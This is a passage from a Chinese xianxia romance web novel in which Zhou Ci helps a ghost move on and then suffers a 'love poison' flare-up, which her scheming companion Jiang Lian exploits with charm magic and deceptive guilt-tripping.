白灵回过神来,恶狠狠的看向她,眼底满是防备与讥讽,鲜血不断从她指尖流向树干。
她轻叹一声,“很辛苦吧,白灵。”
“什……么?”,女人似有些不敢相信轻喃道。
“坚持了这么久保持灵魂不灭,很辛苦吧。”
“这个幻境需要透支你的魂魄来维持,你就快要消散了。”
白灵垂眸看了看自己逐渐透明的手扯了扯唇,毫不在乎的说道:“那又如何?周慈你还真是烂好心,我不需要你在这里假心假意!”
“我杀了二郎,杀了那些人,还骗他们挖出自己的心,你该杀了我!”,她不断大吼,凌冽的风在周慈的脸上留下一道血痕。
江敛支起灵罩将二人包裹,抬手准备将她的魂魄捏碎。
只是身边人比他更快一步,周慈轻轻抽回自己的手走出灵罩,一步一步靠近正在流泪的魂体。
她轻声道出真相,“其实你并不恨他,不然你不会留着那盒胭脂保存了这般久还和新的一样。”
“要抱一下吗?”
少女站在不远处,眉眼弯弯,眼底的温柔都快要溢了出来。
就这样张开双臂笑着望向她。
风渐渐消停,郁郁葱葱的树落下几片树叶,纯白顺着她们向外蔓延。
天地寂静,风吹树响,悲恸的哭声响彻整个天地。
终于,在她死的第五十年——
等来了怜悯自己的菩萨。
“你知道吗,你的灵魂是白色的。”
“我会为你引路,助你渡过奈何桥,下辈子投个好人家好地方。”
“不过在这之前你需前往无间地狱洗清自己身上的罪孽,或许会让你灰飞烟灭再无转世机缘,你可愿意?”
周慈轻拍她的后背柔声道,一束温暖的阳光刺破阴霾洒在她们身后。
原本面目全非的魂体在她的怀里逐渐安静下来,重新变回最开始的模样,白灵靠在她的肩上,眼泪好似快要流干。
“我……愿意,周姐姐,我愿意。”
她整个人都快要埋进周慈的怀里,轻声说道。
“好,那我最后送你一程,可好?”
周慈任由她抱着,平静的气息好似连带着周遭的一切安静下来。
江敛站在不远处冷眼看着相拥的两人,眸光一闪。
他知道这次想要杀了白灵的想法怕只能泡汤了。
果真如白灵所说,就是个烂好人。
19. 愿望
整个幻境被撕裂一个大洞,黑漆漆的时不时灌出风来。
周慈抬手拍了拍她的肩膀安慰道:“别怕。”
“我不怕,周姐姐。”
她的身影渐渐消散,脸上定格了满足的笑。
“对了周姐姐,五十年前有人来寻过我,在我死后布下这个阵法。”
白灵在快要消散时看向她扬声说道,周慈点点头,“好,多谢。”
她凑上去弯下腰来在少女耳边悄声道:“对了,他已经在后边等很久了。”
周慈眨了眨眼,下意识的回过身去,果瞧见那抹熟悉的身影正在不远处等待。
“不过周姐姐,你不要相信男人说的话,听听就好了。”
“但还是希望你和你的郎君能够幸福。”
白灵一如往常,俏皮的朝她眨眨眼,带上欢快的笑来,魂魄消散于这寸幻境之间。
“你好好保重,白灵。”
“周姐姐放心,来世我想做一个好人。”,在她即将消失这个天地时,她的眼里闪烁着泪光。
这一次是解脱,幸福。
周慈抬头看向她,脸上扬起一抹笑意,阳光已刺破云层,变得无比温暖。
她转身朝已等待多时的少年走过去,落叶在她身后簌簌飘落,阳光似乎也格外偏袒她,落在她的发丝上。
如往常一样,她望着他轻声问道:“敬之,等很久了吗?”
“没有。”
江敛摇摇头,脸上的笑意未曾改变。
“夫人真是心善,就这样轻飘飘的放过她了吗?”
“她害了许多人,能不能熬过去都无从知晓。”
周慈轻叹口气,那无间地狱可是要剥离所有因果方可成功离去。
希望她能熬过去吧,然后来世做一个无忧无虑的人。
江敛没有说话,只是微微扯唇:还以为她真是个心善的活菩萨,原来是给送进无间地狱了。
倒省得他亲自动手杀了对方了。
“敬之,你可看出这是何种阵法?”
他的思绪被唤回,看着包裹了整个幻境的阵法微眯着眼。
倒像是……
“敬之?”,见他久久不说话,周慈语气中略带疑惑。
他收回目光垂下目光有些内疚道:“抱歉夫人,我也看不出是何种阵法。”
见他这般模样,周慈宽慰道:“无妨,这阵法的模样我已记下,可回去之后临摹下来再查。”
幻境一点点消散,直到接触了真正的暖阳,她才享受的眯起双眼。
还是外边的世界暖和啊……
“夫人,我们该走了。”
周慈正准备跟上时,灵符却从她胸襟处弹到半空,自动漂浮出一大串文字。
她眼睛微微发亮,是师父来信了!
“敬之,可以等一下吗?”,她扬声问道,眼底是掩饰不住的惊喜。
江敛微微一愣,好像还是第一次见到她如此。
他下意识的看向那灵符,忍不住去想到底是谁的来信会让她如此兴奋?
“好。”
少年依旧维持脸上的笑意,站在她身边安静的待着,身子转向另一侧。
周慈认真看起来信来,可心里却是止不住的激动,想必是罗盘有着落了。
思及此她脸上的笑容更大了些,不过没过一会儿,她的笑意便渐渐收敛直至消失。
“夫人,怎么了?”
见她久久不说话,身旁的声音里是掩饰不住的担忧。
“没事。”
不过就是说了一大堆,总结出一句话‘为师没有灵石,买不起罗盘。’
周慈挺拔的身子好像一瞬间弯了下来,撇了撇嘴角将灵符收了起来。
“夫人若是想要罗盘,我将这个给你便好。”
江敛轻叹口气,从乾坤袋中将罗盘拿出来递到她面前。
“抱歉,刚刚转过身时不小心看了一眼。”
“若夫人不嫌弃,这罗盘就归你了。”
他轻轻的笑着,直勾勾的看向她,周慈眨了眨眼摇摇头,“不了,敬之你收着吧。”
“况且日后我都与你一起,跟着你走想必也不会迷路。”
但如果师父能给她一个罗盘那就更好了。
定是师父不舍得他那些宝贝!
她轻轻的蜷缩了下指尖,远在沧澜宗的一位长老打了个喷嚏,接着小心翼翼的擦那些宝贝。
“无妨,我跟着夫人走也是一样的。”
江敛笑出声来,抓着她的手将罗盘放在她手心,一字一句认真道:“夫人想要的,我都会取来。”
看着手中的罗盘,周慈勾了勾唇,眼里好似闪着细碎的星子,忍不住打趣:“那我若是要天上的星子呢?”
少年一愣,似是没有想到她会这么问,不过他很快便反应过来眉眼弯弯,“自然是拼尽全力,也要为夫人摘来。”
听到这回答,周慈没忍住笑出声来,树叶轻轻随风飘落,吹乱了她额前的发。
他直勾勾的盯着忘了眨眼,就连呼吸都下意识的放轻了些。
察觉到不对,她又收起笑来,只是眼里的笑意还未散尽。
她也没有再推辞,握住了手中的罗盘,“那这个罗盘我就收下了,日后你有想要的都与我说,我竭尽全力也为你取来。”
江敛回过神来,一双潋滟的桃花眼里装满了她的身影,他轻声道:“什么都可以吗?”
她仔细思考了一番,“若是不违背原则,便都可以。”
“那我想要夫人以后都如刚刚那般开心。”
阳光刺破云层,柔和的春风带起两人的发丝,少年弯下腰温柔的看向她,周慈一时没有回过神来,有些呆愣。
他直起身来,如同一块温润的玉轻声问道:“夫人可愿满足我的愿望?”
周慈回过神来,下意识的往后退一步,将脑袋转向别处,看看飘落在地上的落叶,看不清她脸上的神情,就连声音也是恢复了往常的平静,“这算什么愿望。”
“你再好好想想吧,想好了要什么告诉我就好。”
说完她便抬脚往前走去,只是余光还是忍不住往后飘去。
合欢宗的弟子为了毕业成功,果然什么话都能说出口。
她是不是也该学习一下?
思及此周慈真的在认真思考,只是拿起罗盘的手似在发烫。
罢了,敬之想要做什么随他去就好。
她轻轻叹了口气,将罗盘收到自己的袋中。
江敛站在原地看着她的背影,眸光深沉,让人看不清他在想什么。
“敬之,快跟上了。”
久久不见身后传
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来脚步声,她回过身就看见对方还站在原地,抬声喊道。
他愣了一下,快步朝她走来,重新站在她身边并肩而行。
看着石碑上刻着的字,周慈才松了口气,看来这次他们是真的到了天水镇了。
现在的天水镇看起来要比幻境中的更加繁华,她慢慢走在这片土地上,烟火气息扑面而来。
“老伯,要一张饼子。”
周慈停留在一个无人问津的小摊上,老伯听到声音连忙为她装起饼,抬头对视的瞬间,她看见了那双无神的双眼,
“姑娘,你的饼。”
饼子还在热乎乎的,烫的她手心有些疼。
“老伯,这些饼子我都要了。”
她轻声细语,老伯愣了愣忍不住提醒,“姑娘,这饼子大,够两个人吃了。”
“无妨,我可以留着慢慢吃。”
周慈手中抱着一大袋饼子,烫乎乎的,让她的心也暖暖的。
“夫人是看那老伯的眼睛……才特地买的吗?”,跟在身边的少年忽然开口问道。
“不是,我闻着这饼子很香,想来应该会很好吃。”
她咬下一口,弯了弯唇,果然如她想的那般好吃。
“那我帮夫人拿着吧。”
“我可以放在乾坤袋子里。”
“那我先帮夫人拿一些,夫人好放进去。”
周慈点点头,江敛笑了笑将她怀里的饼子接过。
很烫。
他不知道这些饼子到底有什么好吃的,不过就是她又发善心罢了。
少年跟在她身边道:“夫人若是想帮他,大可用法术将他眼睛恢复。”
“不可,修仙之人不可轻易沾染因果。”
少女摇摇头,饼子还在散发诱人的气息,她小口小口的咬着,很快一个饼子就见底。
江敛瞥了她一眼,没有说话。
“夫人今日要在这镇子上住下吗?”
“嗯。”
她想看看现在的天水镇是何模样了。
“那我们去寻个客栈可好?”
“好。”
江敛勾勾唇,带着她在一间客栈住下,温暖的阳光照进屋子里,她坐在窗边闭上眼静静感受这一刻安宁。
见状他轻轻关上房门,闻见自己身上传来的饼子的问道,他面无表情走进房间换了身衣裳。
算算时间,情毒很快就该发作了,他只需要静静等待便好。
等房间恢复安静后,周慈才将小白从乾坤袋里抱出来,小兽伸了个懒腰微微睁眼,见到是她见着闭上眼打盹。
“小白,你好像真的长大了些。”
她丈量了一下小兽的身形,语气肯定。
小兽睁开眼看了她一眼,翻了个身子继续闭上眼。
少女鼓了鼓脸,将它捧起来狠狠地吸了一口才将它放下,放在怀里一下又一下的抚摸。
春光暖的一人一兽悠闲地坐在窗边,小兽尾巴垂在下边一晃一晃的,她拿出一条小鱼干递到它嘴边。
“小白,你好懒噢,怎么连吃小鱼干都闭着眼。”
她没忍住笑出声来,却还是宠溺的将小鱼干递到它嘴边。
这一切都被江敛看在眼里,他忍不住嗤笑,倒还真是喜欢那只小畜生。
那可得好好藏着,莫被人发现了。
20. 情毒发作
早春的夜还夹杂一丝冬的寒凉,风顺着窗子吹进,吹散了她心头萦绕的几分燥热。
周慈睁开双眼,无神的望着床榻上方,小兽乖巧的在她枕边安眠。
她把小兽挪的远了些,应该是挨得太近了,所以她觉得燥热难安。
女孩轻轻的呼了口气,再次试着闭上双眼,可心头的燥热越来越强烈,甚至让她的身体都隐隐发烫。
周慈再次睁开双眼,抬手捂住自己的双眼,认命的起身来到窗前。
这个觉是睡不成了。
冷风吹散了她心头的些许燥热,不知是不是自己的错觉,她总觉得燥热越来越严重。
还伴随着……
她说不清的一些莫名的感觉。
周慈闭上眼运转周身的灵气,只是脸颊越来越烫,最后忍不住轻喘出声。
少女猛的睁开眼,眼里带上不可置信,她双手捂住自己的唇,似是不敢相信这种声音会是从她口中传出。
可在手心触碰到唇瓣上时,一股酥麻的感觉传到她身上,刺得她身子一哆嗦,浑身都软了下来。
她无比清楚的意识到,自己生病了。
周慈运转全身的灵气压制,眼尾都泛起了红晕。
屋漏偏逢连夜雨,风渐渐停下来,她胸脯的起伏更加明显。
待江敛进来时,就瞧见平日里一丝不苟的少女此刻只穿了一件里衣,坐在窗前,灵气紊乱。
他心下了然笑意更浓。
时间到了。
倒是面上布满担心,他快步上前担忧道:“夫人,怎么了?”
他的手轻轻落在她的肩膀上,酥麻感让周慈的身子再次一抖。
少女睁开眼拍掉他的手,清脆声让两人都愣在原地,她微微瞪大眼眼波盈盈,“抱歉……我不是有意的。”
“我好像生病了敬之,你别碰我。”
她轻声补充一句,“不舒服。”
“可严重?”
说着他手间便流露出一丝灵力想要贴在她的后背,可又想起她说的话急忙收回手。
“我无事,你……你先回去吧。”
这句话好似已经耗费了她所有的力气,江敛垂眸仔细端详她这副模样没有应答。
笑话,他又怎会离开。
今夜过后,她的道心应该就会破了。
届时不必她说自己也会离开。
她的灵力不稳,急促的呼吸让她难受至极,眼尾沁出些湿润。
江敛蹲下身来,微微抬头看着她有些新奇,倒还从未见过她这般模样。
她永远是那副平静的样子,现如今被情欲折磨成这般模样还真是新鲜。
少年弯了弯眼眸,不得不承认,此刻他的心情很好。
江敛双手捧住她的脸颊,轻声细语,“夫人可是难受的紧?”
她眼睫轻颤,雾蒙蒙的眼垂眸看向他,指尖止不住的颤动。
周慈不再说话,此刻的她已经快要抵御不住这忽如其来的奇怪的感觉。
啊……
不要这样看着他。
他会忍不住的,想要看她更加难受。
“夫人如今这情况倒像是情毒入体。”
终于见够了她被折磨的样子,江敛大发慈悲的道出实情。
虽对方没有说话,但他还是知晓她想要问些什么,索性一次说明白,“与我合欢宗弟子结契时,便会被我们身上的情毒侵染,待到时机成熟便会发作。”
“抱歉夫人,之前是我瞒了你。”
“我以为你不会的。”,他看起来满脸愧疚,眼尾都耷拉下来。
听到解释,周慈才知晓如今这奇怪的感觉源自于哪,她身子微微往后一仰,不让他碰到自己。
他微微转过头去,声音很低,还带上一丝羞涩,“此情毒……只能与合欢宗弟子进行合欢才可缓解。”
“不必,你回去吧。”
周慈深深的吸了口气,从牙间蹦出几个字来,额间布满密汗,用尽自己所有的灵力去压制。
“夫人,你不必如此辛苦的压制自己,情欲也是修炼的一种。”
他的声音低哑,带上了些蛊惑,那久久不用的媚术在此刻用在了她的身上。
见着那双眼逐渐迷离,丢掉最后一丝清醒,江敛终于满意的笑出声来,他伸手揽住她的肩,轻轻一带将她扯到自己怀中。
这一刻她没有挣扎,乖顺的趴在他怀里,双手却紧握,一丝鲜血顺着她的指缝流出。
闻到血腥味,他的脸色忽的沉下来,竟是还未完全丧失理智吗?
果然是修炼无情道近千年来最优秀的弟子。
可那又如何?
合欢花被他唤出,花香渐渐沁满整个屋子,她的手渐渐松开,彻底失去理智。
只是一味地想要汲取他身上的一丝凉意,手下意识的顺着他的衣襟放在他的胸膛处。
凉意让她舒服的叹了口气。
可是不够,还要,还要更多。
她的手不老实的探着,江敛却在此时一把握住她的手腕,声音低沉问道:“夫人,我是谁?”
周慈微微抬眼久久不说话,似是在辨认他到底是谁,直到过了许久才轻声道:“是敬之。”
“等夫人醒来后定是会怪我。”,他紧紧的抱着她,热意不断传到他身上。
“不会,不会怪敬之。”
少女埋头,将脸贴在他的胸膛呢喃,被他握住的手腕也乖巧的不再动弹。
只是嘴里不断低语‘不凉了’。
他看见那抹挂在眼角的晶莹顿了顿,下意识的松开桎梏她手腕的手。
那弯弯的伤痕在手心如此醒目,江敛沉默一瞬,却在滚烫的手覆在自己脸颊时轻轻叹了口气。
算了,坏她道心也不急于一时。
若等她醒来定会怪罪,与其多一个敌人,倒不如徐徐图之。
“敬之,难受,难受……”
怀里的人儿不断扭着身子,哭腔明显,却怎么也寻不到那抹令她舒服的凉。
“好了,很快就不难受了。”
他一下又一下轻拍少女的后背,耐心的安抚着,修长的指尖与她的手十指紧扣。
灵力缓缓从他手心流出,冰凉的感觉让少女逐渐安静下来。
江敛轻轻阖眼,在她发顶处低语,“周慈,你又欠了我一次。”
床榻传来闷闷的低吼声,少年睁开眼看过去,就看见那只平日被宝贝的小兽此刻正看着他,喉间时不时发出低吼,浑身的毛都立了起来。
似在威胁。
“闭嘴,否则杀了你。”
他轻瞥一眼,语气毫无波澜,小兽爪子紧紧抓着锦被,被子都被勾破。
小兽紧紧的盯着他,整个身子弓起,准备随时跃起给他两爪子。
“一个没化形的畜生也想翻天了。”
他冷眼看向那只不知死活的小兽,威压从他四周散开,小兽的身子渐渐恢复原样,蜷缩在枕边,只是一双圆溜
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溜的眼还在盯着他。
见它识相,江敛也收回目光,灵力不断滋养着怀中的人。
原本紧皱的眉心也逐渐舒展开来,只是双手还放在他的胸口处。
就这样靠着他的灵气,周慈度过了难捱的一晚。
待第一缕阳光透过窗照进屋子时,她缓缓睁开眼,只需一秒她便发现了此刻的不对劲。
周慈浑身僵硬,她感受到了手心下传来的凉意,还有皮肤的触感。
此刻自己正被人紧紧抱在怀里,发顶似是被人轻轻抵住,她就这样在对方怀里过了一整夜。
少女的脸逐渐烫起来愈演愈烈,她手上用力挣脱怀抱,头也不回的冲出房间。
江敛睁开眼时就只瞧见了她的衣角,和乱了的步伐。
看来还是有些用。
少年面上笑意渐深,站起身来慢条斯理的穿好衣裳,只是胸膛处的红痕在他白皙的皮肤上显得格外刺眼。
周慈跑出了客栈,心脏在不断狂跳,她已经分不清是自己跑的太急导致,还是今早给她的冲击所导致。
掌心残留的温度不断提示昨晚她做了什么荒唐之事。
敬之说她中了情毒。
她轻轻的呼了口气,双手捧住自己的脸,眼睫不断轻颤。
昨晚的事情断断续续的在她脑海中呈现出来,她不敢细想自己到底是如何熬过去的。
只记得那源源不断,持续了一整夜的灵力。
还有她们十指紧扣的手。
敬之又为她渡灵力了。
周慈逐渐冷静下来,开始思考昨夜他说的那番话到底是何意思。
“夫人可是怪罪与我。”
身后传来的声音打断她的思绪,她没有回过身只是还算平静的问道:“你怎么知道我在这。”
“夫人忘了你沾了我的花粉。”
她垂眸看向自己的手,听到身后委屈的声音,她终是转过身来看向他。
只是脸颊处依旧带上些余韵。
“怪你什么?”
“怪我没有早告知夫人。”
“既如此,为何?”,她站在不远处静静地看向他,江敛一时间没有说话。
好一招用完了就丢。
他压住心里的翻涌的情绪,站在对面的周慈也感受到,只是她不明白,他的情绪为何波动如此之大。
但她不想去追究了,她自是没忘记昨夜他做的那些事。
江敛盯着她的眼睛,垂在身侧的双手轻轻颤动,声音艰涩,“抱歉,是我瞒了你。”
“所有人再与合欢宗弟子结契时,便会沾染上其弟子身上的情毒。”
“可情毒是只有在动心之时才会发作……”,他的眼里逐渐带上一丝希冀,桃花眼再次变的潋滟。
只是少女一句话就打破了他的幻想,周慈淡声道:“不可能。”
听到这回答江敛并没有觉得很意外,相反这才是他意想之中的结果。
毕竟那情毒只在动心发作也只是他随意编的一句话罢了。
“它可解吗?”
他垂下眼睫摇了摇头,沉闷的声音响起,“对不起夫人,是我害得你。”
周慈静静的看着他这副模样,手心传来的味道却让她回过神来,她垂眸便看见已经上了药的手。
她顿了顿,声音也如往常一般,态度缓和,“你又无逼迫我,何须对不起。”
“该说抱歉的是我。”
是她差点玷污了敬之的身子。
21. 怪我
“夫人……”
他愣愣的,张嘴却不知道该说些什么。
“你说的没错,情欲也是修炼的一种,可我无需走这条道,再也不要有下次。”
周慈没有看他,只是平静的接受昨晚发生的一切。
竟如此轻易的原谅他?
江敛企图在她脸上看出一丝愤怒,可没有,什么也没有。
只有那双清凌凌的眼,无欲无求。
“你不怪我吗?”
他忽然问道,还带上些固执的语气。
为何?
为何都这样了,她还是如往常一样,没有丝毫其他的情绪外露。
垂在身旁的手紧握成拳,须臾又松开。
“既已发生,怪你有何用?你也无需自责,不过情欲罢了。”
江敛忽的笑出声来,只是笑意从未到达眼底,忍不住在心里道:她倒还反过来安慰自己了,好像真有了几分活菩萨的样子。
“这情毒每月便会发作一次,夫人可有应对之策。”
他轻飘飘说了句,实则那双眼一直在紧盯对方的反应。
听到这周慈的呼吸都漏了一拍,也就是说她每月都要经历这样的折磨。
不过也很快平复下心情,轻声道:“暂无。”
“不过下次你莫要再来我屋子了。”
既来之则安之,只要没人来打扰她,一夜而已,她定能熬过。
江敛没有回答,他又怎会放过那上好的机会。
周慈看似在看着他,实则是在发呆,总觉得今日的乾坤袋好像轻了许多。
她的手摸了摸腰间的袋子,只需一碰就差点没绷住神色。
“夫人,怎么了?”
“无妨,我先回去了。”
说完她便头也不回的转身离开,脚步匆匆,独留少年一人站在原地。
江敛自是瞧见她刚刚碰了下那乾坤袋,想必是发现那畜生不在里边,这才急匆匆的赶回去。
连一个畜生都能让她情绪有所波动,可情欲却不能。
倒是他小瞧对方了。
江敛嗤笑一声,紧跟在她身后回了客栈。
紧赶回去的周慈在床榻上看见那鼓起的一小团,才松下口气。
走上前将它从被窝里捞起,带着些泄愤的意味将小兽的毛揉的乱糟糟的。
她垂眸嘀咕:“小白,你昨晚怎么就没拦着我。”
小兽睁眼看了她一眼,再次闭上眼不看她。
“现如今你让我如何再面对他?”
周慈说着说着便将脸埋在那毛茸茸里,全然不似刚刚的云淡风轻。
江敛站在门口处,将这些话听的一清二楚,他脸上重新布满笑意。
原以为是对方不在乎,现下看来倒不尽如此。
她抱起小兽趴在床榻上久久没有动弹,手心处传来的阵阵药味让她有些发愣。
周慈看着手心上了药的伤口一时间不知在想什么。
“你倒是睡得好,我该如何是好……”
她深深的叹了口气,又将脸埋在那毛茸茸里吸了好几口才缓过来。
还是想想今后该如何与敬之相处好了。
江敛好心情的回到自己房间,他胸口处可还有昨夜对方留下的一些伤痕。
这伤痕,自然得让她瞧见才是。
少年心下已经有了主意,从乾坤袋里拿出一件衣裳换好后便出了门。
敲门声从外边传来,正在补觉的少女翻了个身,没有动静。
直到一直响个不停的敲门声不断传到她耳边,周慈睁开眼呆呆的看着床榻上方,扰乱了自己的发,最后认命的从床榻上起身。
“你怎的来了?”
她看着来人,站在门口睡眼惺忪。
“夫人这是在……睡觉?”
“嗯,昨夜没睡好。”
她边说边抬手揉了揉自己的脖颈,因为哈欠眼角还泛起泪来。
“我给夫人做了些糕点。”
见他手中端了一碟自己从未见过的糕点,周慈眼睛一眨不眨的盯着。
见状他轻笑出声,“夫人不让我进去吗?”
“噢。”
她回过神来,让出身子来让他进屋。
江敛将手中碟子放下,回过身来笑着看向她,发丝就这样被他随意用发带绑起垂在身后。
“夫人可尝些再睡,或是睡醒后再尝一点,不过那时这些糕点应是冷了,味道也就不好了。”
“现在就尝。”
她咽了咽口水,坐在椅子上巴巴的盯着,也不动手,也不说话。
“夫人尝尝吧。”
“噢。”
听到这句话她眨眨眼,迫不及待的将一块糕点放进口中,甜香味让她欢心的眯起眼来。
“夫人喜欢便多吃些。”
他将碟子往她面前推了推,周慈弯了弯眉眼,却将是将碟子推回到他面前。
“敬之也尝尝吧,很好吃的。”
江敛垂下眼睫,顺着她的话拿起一块咬了一小口,“确实。”
不过他也只尝了一口便放下,今日他穿了一件白色的纱衣层层叠叠,衣襟处倒是开的很大。
隐隐约约能瞧见衣裳下的红痕。
“敬之这里是受伤了吗?”
见她终于说到正事,江敛也是松了口气,忍不住在心里道:总算是看到了,不枉他在这摆了那么久姿势。
“无妨。”
他避开女孩探究的眼神,不甚在乎的说道,抬手拢了拢衣襟,却让周慈看清了那沁了血却没破皮的伤口。
如他所愿,对方焦急的询问他是如何弄的,江敛脸上的笑意更甚。
终于……
终于是因为他而显露出其他情绪来。
他温声问道:“夫人真的忘了吗?”
周慈面色一顿,一片空白之色,就这样看着他没有说话。
只是垂在桌下放在膝盖上的手紧紧握着,手心微微出汗。
她放轻声音神色紧张,略微颤抖问道:“难道……是我干的?”
“夫人说呢?”,他目光幽幽的看了她一眼,随即又微微转过身子去。
活脱脱一副被负心汉糟蹋的小娘子一般。
“我不怪夫人。”
听到这话她嘴快下意识道:“那也确实不能怪我。”
只是刚说出口周慈就愣住了,紧接着疯狂摆手忙于解释,“不是……我不是这个意思。”
“我懂,本就是我的错,与夫人有何干系。”
“抱歉夫人,我身子有些不太舒服,便先回屋去了。”
说罢江敛便起身准
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备离开,这一套话和动作行云流水,看得她一愣一愣的。
眼见着他就要走出屋子了,周慈起身连忙抓住他的衣袖,讪讪一笑,“敬之,我真不是那意思。”
“嗯,我知晓。”
“那个……我这里有上好的丹药可治外伤,你拿去用。”,她连忙在乾坤袋里翻找,将一个小瓷瓶塞到他手中。
“不必,夫人手中也有伤,还是留着自己用吧,我就先走了。”
说完他轻轻挣开扣住自己手腕的手离去,湖蓝色的发带安静的待在他脑后。
周慈轻轻叹了口气,转身进了屋子将小兽唤出来抱在怀中。
没忍住絮絮叨叨地说道:“小白你说这怪不怪我?”
“这也确实不能怪我啊,要怪便怪那情毒。”
“谁知与合欢宗弟子结契会被种上情毒。”
“可这次却是好像是我先动的手。”
但现下看来她不仅动了手,还抓破了人家的胸膛。
“好吧,这次确实是我不对在先。”
周慈绕了一大圈,终于是得出自己有错在先的结论,怀里的小兽抬了抬爪子,拍在她的脸颊上。
“好乖好乖。”
她抓起那爪子不断揉捏,小兽倒也没有挣扎。
“可我不是让他离开了吗?”
周慈忽然想起,最开始的时候自己可是让他离开了,谁知他不仅没有离开,还抱住自己。
“太过分了!”
她没忍住揉小兽的力道重了些,惹得小兽不满的推了推她的手。
“不过这也是他的任务,换做是我,我也不可能在那个时候离开。”
毕竟那么好的一个机会就摆在面前,放弃是不可能的。
“可小白你说他为什么最后放弃了呢?”
她望向窗外的枝叶怎么也想不通,为何最后关头敬之放弃了,只是拥着她给她渡了一夜的灵力。
“算了,怎么说我也不该动手。”
周慈叹了口气,拿着那上好的丹药走出房间轻轻的敲了敲紧闭的房门。
坐在椅子上的少年听见声音睁开眼来,脸上带上笑意,却没有第一时间起身,而是慢悠悠的喝了一杯茶。
他知道,周慈定然会来寻他。
因为她放不下自己那所谓的‘正’。
见房间门久久不开,门外的少女歇了气,算了算了,明日来寻他也是一样的。
就在她转身准备离开时门突然开了,就瞧见那生的极好的少年郎半倚靠在门框边,头发垂落在胸前发带松散。
“夫人怎么来了?”
“我来看看你,顺便来送药。”
周慈回过神来,上前将药递到他面前,一字一句道:“这次是我不对,我不该……动手。”
她斟酌语句,江敛垂眸看着她,见着她的耳尖逐渐染上红才笑道:“怪夫人作甚,本就是我未事先告知夫人,好让夫人有个准备。”
“也怪我那时没有离开,明明夫人已经让我离开了,我却因为担心夫人留了下来。”
“说来说去也不怪夫人,都是我自己的过错。”
周慈听到这些话有些呆愣,直到如暖玉般的手在她发顶轻揉了一下,她的眼珠微动,看着面前放大的脸。
“我还要请夫人恕罪才好。”
22. 骗子
听到这话她有些不好意思,也没想到他会如此坦诚的承认。
“没有,敬之你还是用些药吧,伤好的快些。”
她避开他的视线,带了些催促的意味。
“夫人进来说话吧。”
“不用了,我站外边就好。”
江敛倒也没有勉强,只是轻笑道:“可外边有人看着。”
闻言周慈往旁边看了一眼,果真瞧见两三人正站在楼梯口看她们。
她耳尖一热,又转头看见了那双含笑的桃花眼,更热了。
“那我进去吧。”
周慈低声说道,看见她逐渐升温的耳,少年满意的笑了笑,让开身子让她进了屋。
听到身后的笑声,她始终不肯回过身去,却又惹得人心烦,索性用了道术法蒙住了自己的耳朵。
果不其然,心情平复了许多,也就有了喝茶的心思。
“夫人,夫人?”
见她始终不答话,江敛上前轻轻的拍拍她的肩膀,周慈回过神来疑惑的看向他,顺便将术法一道解除了。
“怎么了?”
“你手心好些了没?”
她看了眼掌心浅的不能再浅的伤口,实在不知有什么好问的。
不过还是说了句,“一些小伤口,不碍事。”
“我看看。”
听到他声音,周慈顿了一下还是将手心摊开,明晃晃的几个月牙印就出现在他眼前。
江敛垂眸看着久久不说话,只是指尖轻轻划过那几道伤口,痒酥酥的让她一下缩回手心。
“你做什么!”
她有些恼怒,紧紧的将手藏在身后警惕的看向他。
啊~
果然如他所料,现在的防备心更严重了。
江敛掩盖住心底的算计,面上还是那抹熟悉的温和的笑。
“抱歉,我只是想看看伤如何了。”
他低声说道,往后退了一步,温润的声音打消了她心中的疑虑。
周慈缓下声音,重新恢复昔时的平静,“一点小伤,真的不碍事。”
“倒是敬之你身上的伤该好好上药才是,若无其他事我就先走了。”
她站起身欲往外走去,只是身后的声音却忽然叫住她,“夫人。”
“还有事吗?”
“夫人不必将昨夜的事放在心上,就当是梦一场,忘了便是。”
她沉默一瞬,点点头道:“我知晓。”
“那我们还如往日一样相处,可以吗?”
他说这句话时小心翼翼,只见那背影一顿,沉默了许久也不见得声音传来。
江敛苦笑一声,一手撑在桌子上轻声道:“不说这些了,夫人今日小心些伤口,还是要上些药才好。”
“可以。”
忽然传来的声音让他一愣,“……什么?”
“我们就如往日一样相处吧,那件事不要再提了。”
她背着身温声说道,自然没瞧见身后人得逞的笑意。
“好。”
“嗯。”
周慈不再多说什么,临走时还贴心的给他关上了门。
看着手里的药,江敛勾了勾唇:罢了,不能把人逼得太紧。
离开屋子后少女才狠狠地松了口气,现下也是不能再睡了,干脆出去走走好了。
也透透气好让她想想今后又该如何是好。
今日外头阳光正好,周慈手中拿了串糖葫芦,只是在路过一个小摊时脚步一顿,转了个弯站在摊子面前。
“老伯,我要些饼子。”
“诶?又是姑娘您啊。”
听到声音老伯抬起头来,笑的眼角的褶子都堆在了一块儿。
周慈勾了勾唇,也想起面前的人是谁,“是您啊,这些饼子我还是全都要了。”
“姑娘,前些日子您买的饼子都吃完了?”
“嗯,都吃完了。”
她弯了弯眼,自己说的可确实是实话,小白虽然喜欢吃小鱼干,但是其他东西也是要尝些的。
“姑娘不必因为可怜我这个老头子来买这么多饼子,那饼子可得吃上好些日子。”
粗粝的声音传到她耳中,却是让人心下一暖,周慈露出笑来,如三月暖阳般和煦,“老伯卖的饼子又大又好吃,我自是喜欢,便想着多买些给家中人也带点回去。”
闻言老伯也不再说话,只是包起一半的饼子交给她。
“老伯,这些饼子我都要了。”
“姑娘先拿着,若不够再来继续买。”
见他始终不肯将剩下的饼子卖给自己,周慈也只好作罢。
“老伯,您每日都在这里吗?”
“是啊。”
“那您近日若是有什么不顺的事,或者是……怪事,您可以来寻我,我就住在‘向南客栈’。”
她斟酌着口中的话语,想想该如何说才不会吓到老人家。
老伯摆弄着那些饼子,趴在身旁的小白狗尾巴轻扫,“多谢姑娘关心咧,老头子我能有什么事。”
“那便好,我就先走了老伯。”
“慢走啊姑娘。”
“好。”
周慈眉眼弯弯,临走时看了一眼地上趴着的小白狗。
小白狗吐着舌头,尾巴摇的很是欢快,圆溜溜的眼睛倒是清澈。
她没有再说话,拎着半袋子的饼子离开,又在镇子上逛了一圈儿。
这镇子果然如幻境中一样春光明媚,倒是那万花楼如今改名了,叫‘名花楼’了,不过行当依旧没有改。
日暮西山,天气逐渐变凉,老伯颤悠悠的收起摊子,带上剩下的饼往夕阳的方向走去。
他弯下腰来摸了摸那小家伙的脑袋,“走了阿黄,今儿个回去给你吃好的。”
小白狗围在他脚边欢快的叫着,尾巴都快摇出残影来,一位拄着木棒的老伯和一条狗,就这样沿着那条小路慢悠悠往回走。
“夫人这是去哪了?”
刚上楼准备进屋的女孩听到身后传来的声音,手上动作一停转过身去看他。
“出去转了圈,怎么了?”
江敛勾勾唇,上前变戏法似的手里拿了一串糖葫芦递到她面前。
